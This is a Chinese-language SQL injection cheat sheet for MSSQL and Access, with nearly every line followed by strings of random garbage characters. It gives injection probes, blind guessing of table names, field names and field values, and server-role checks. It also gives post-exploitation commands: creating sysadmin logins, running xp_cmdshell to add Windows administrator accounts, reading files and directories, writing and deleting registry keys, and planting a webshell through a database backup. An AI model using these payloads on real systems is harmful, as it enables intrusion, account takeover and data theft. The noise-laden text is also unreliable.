1.判断是否有注入;and 1=1 ;and 1=2 |S).,B
2.初步判断是否是mssql ;and user>0 6
%aaK|0
lr;ubBbT
3.注入参数是字符'and [查询条件] and ''=' iex%$> "
h*y+qk-!\g
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ct|0zl~
{*n<A{$[
m
5.判断数据库系统 [G|(E
B%u[gNZ
;and (select count(*) from sysobjects)>0 mssql +J{ErsG?6P
1E||ft-1i*
;and (select count(*) from msysobjects)>0 access XRkUv>Yk
q,#s m'S
IEm~^D#<=
(||qFu9a
6.猜数据库 ;and (select Count(*) from [数据库名])>0 'ParMT
8Uh|V&
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ^{IZpT3
ud)WH|Z
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 b"#S92R+
.H M3s
9.(1)猜字段的ascii值(access) E(6P%(yt8
*)B \M>
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 *re?V9
NL
`
(2)猜字段的ascii值(mssql) MUZ]*n&0
>Ho=L)u
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 vf>d{F^rv
Bi;a~qE
10.测试权限结构(mssql) }OnU32P
`_GCS,/t
ZRc^}5}WA
xjnAK!sD
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- s}Go")p<:
UMNNAX
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- |Fze9kZO
3}phg
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ns5Dydo{T
D}}?{pe
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- iJ*Wsp
kk<%VKC
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- GwDOxH'
KK>jV
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- W!.FnM5x
}oG6XI9
;and 1=(select IS_MEMBER('db_owner'));-- iNi1+sm
LzLJ6A>;R
]Z\ W%'q+
_nzq(m1@
11.添加mssql和系统的帐户 ,MJddbcg
[cEGkz
;exec master.dbo.sp_addlogin username;-- 9'~qA(=.?
;exec master.dbo.sp_password null,username,password;-- 8/)q$zs
Z>3~n
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- [ywF!#'){
Hr}"g@ <
;exec master.dbo.xp_cmdshell 'net user username password WhH60/`
5"3`ss<m
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- I+kL;YdS
3l`"(5
;exec master.dbo.xp_cmdshell 'net user username password /add';-- YZOwr72VL
hTZ6@i/pS
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- )$f?v22
*UW 8|\;
3I}AA.h'00
$,r%@'= &
12.(1)遍历目录 0)h.[O8@>
{U3jJ#K
;create table dirs(paths varchar(100), id int) \pK&gdw
?Q=(?yR0]
;insert dirs exec master.dbo.xp_dirtree 'c:\' am.d^'
;}S_ PnwC@
;and (select top 1 paths from dirs)>0 k
75 p
CpX[8>&osD
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) {P?DkUO}
O{byMV{Ou
1#"wfiW
B[8RBTsA
(2)遍历目录 7yg{0a
&``nD
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ]P7gEBi
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 G] tT=X[
b9i_\
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 B$s6|~
a}VR>!b
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ZT/f
d!&LpODI]*
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 0]DX KI
x2I|iA =
LHOt(5VY
\J?&XaO=
13.mssql中的存储过程 ^hEN
V?^qW#AG
xp_regenumvalues 注册表根键, 子键 Xu_1r8-|=b
r:0RvWif
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Dvz 6 E
VY~*QF~P
xp_regread 根键,子键,键值名 =|$U`~YB
c; .y
;exec xp_regread ]moBVRd
p\'X%R
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 d@JavcR
gV ':Xe
xp_regwrite 根键,子键, 值名, 值类型, 值 zN+jn
t,XbF
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 zTG1 0
FChW`b&S
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 xk8NX-:
G;t<dJ8
xp_regdeletevalue 根键,子键,值名 ]+qd|}^
g_tEUaiK
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 :nnch?J_
K|~!oQ
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 q(s0dkrj
at*DYZBjDB
+dq2}gM
R"t2=3K
14.mssql的backup创建webshell +ZE"pA^C
y\iECdPU
use model u5U^}<}y}
d@Bd*iI<
create table cmd(str image); \Z%_dT}
}Sh@.3*
insert into cmd(str) values (''); }\N ~%?6D
{}"
<
backup database model to disk='c:\l.asp'; d--6<_q
w[QC
Zmk 9C@
<Z~Nz>'r
15.mssql内置函数 [["eK9}0
] 4*E:
;and (select @@version)>0 获得Windows的版本号 e*D,2>o
\Z~@/OVc
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Pa|*Jcr
>K%+h)%kI
;and (select user_name())>0 爆当前系统的连接用户 4 l+z
V%M@zd?u.
;and (select db_name())>0 得到当前连接的数据库 Iz#jR2:yn
JGzEm>_m
0H'G./8
!14v Ovj4{
16.简洁的webshell cZ.p
\Y:zg3q*
use model ] TZ/=Id
YO@~y*,
create table cmd(str image); K"Irg.
G-o6~"J\
insert into cmd(str) values (''); G&6`?1k
kOel
!A
backup database model to disk='g:\wwwtest\l.asp';